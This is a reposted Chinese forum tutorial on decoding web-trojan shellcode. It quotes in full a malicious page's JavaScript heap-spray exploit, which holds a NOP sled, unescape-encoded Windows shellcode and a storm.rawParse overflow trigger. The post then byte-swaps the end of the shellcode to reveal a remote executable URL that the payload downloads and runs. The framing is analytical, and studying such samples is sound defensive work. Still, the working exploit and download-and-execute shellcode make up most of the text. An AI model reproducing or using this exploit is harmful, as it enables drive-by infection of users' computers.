打印

[转帖] [网页解密基础]-shellcode = unescape的解密

[网页解密基础]-shellcode = unescape的解密

[网页解密基础]-shellcode = unescape的解密在我的第一篇网马解密中提到过.
我们换一个:
hxxp://b.wyfdc.com/20080312/3.gif 引用:
<script>
/*----------------------------------------*/
var bigblock = unescape("%u9090%u9090");
var headersize = 20;
var shellcode = unescape("%uf3e9%u0000%u9000"+
"%u9090%u5a90%ua164%u0030%u0000%u408b%u8b0c" +
"%u1c70%u8bad%u0840%ud88b%u738b%u8b3c%u1e74%u0378" +
"%u8bf3%u207e%ufb03%u4e8b%u3314%u56ed%u5157%u3f8b" +
"%ufb03%uf28b%u0e6a%uf359%u74a6%u5908%u835f%ufcef" +
"%ue245%u59e9%u5e5f%ucd8b%u468b%u0324%ud1c3%u03e1" +
"%u33c1%u66c9%u088b%u468b%u031c%uc1c3%u02e1%uc103" +
"%u008b%uc303%ufa8b%uf78b%uc683%u8b0e%u6ad0%u5904" +
"%u6ae8%u0000%u8300%u0dc6%u5652%u57ff%u5afc%ud88b" +
"%u016a%ue859%u0057%u0000%uc683%u5613%u8046%u803e" +
"%ufa75%u3680%u5e80%uec83%u8b40%uc7dc%u6303%u646d" +
"%u4320%u4343%u6643%u03c7%u632f%u4343%u03c6%u4320" +
"%u206a%uff53%uec57%u04c7%u5c03%u2e61%uc765%u0344" +
"%u7804%u0065%u3300%u50c0%u5350%u5056%u57ff%u8bfc" +
"%u6adc%u5300%u57ff%u68f0%u2451%u0040%uff58%u33d0" +
"%uacc0%uc085%uf975%u5251%u5356%ud2ff%u595a%ue2ab" +
"%u33ee%uc3c0%u0ce8%uffff%u47ff%u7465%u7250%u636f" +
"%u6441%u7264%u7365%u0073%u6547%u5374%u7379%u6574" +
"%u446d%u7269%u6365%u6f74%u7972%u0041%u6957%u456e" +
"%u6578%u0063%u7845%u7469%u6854%u6572%u6461%u4c00" +
"%u616f%u4c64%u6269%u6172%u7972%u0041%u7275%u6d6c" +
"%u6e6f%u5500%u4c52%u6f44%u6e77%u6f6c%u6461%u6f54" +
"%u6946%u656c%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f%u2e6b%u7865%u0065");
var slackspace = headersize+shellcode.length;
while (bigblock.length<slackspace) bigblock+=bigblock;
fillblock = bigblock.substring(0, slackspace);
block = bigblock.substring(0, bigblock.length-slackspace);
while(block.length+slackspace<0x40000) block = block+block+fillblock;
memory = new Array();
for (x=0; x<300; x++) memory[x] = block + shellcode;
var buffer = '';
while (buffer.length < 4068) buffer+="\x0a\x0a\x0a\x0a";
storm.rawParse(buffer);
/*----------------------------------------*/
</script>

跟realplayer漏洞利用的解密方式类似,只要取后面若干字节:
%u0041%u7468%u7074%u2f3a%u632f%u772e%u6361%u7973%u632e%u6d6f%u6f2f%u2e6b%u7865%u0065
解密就是2个字节对换位置:
4100687474703a2f2f632e77616373792e636f6d2f6f6b2e65786500
转换为字符即:
hxxp://c.wacsy.com/ok.exe

TOP

Processed in 0.033478 second(s), 5 queries, Gzip enabled.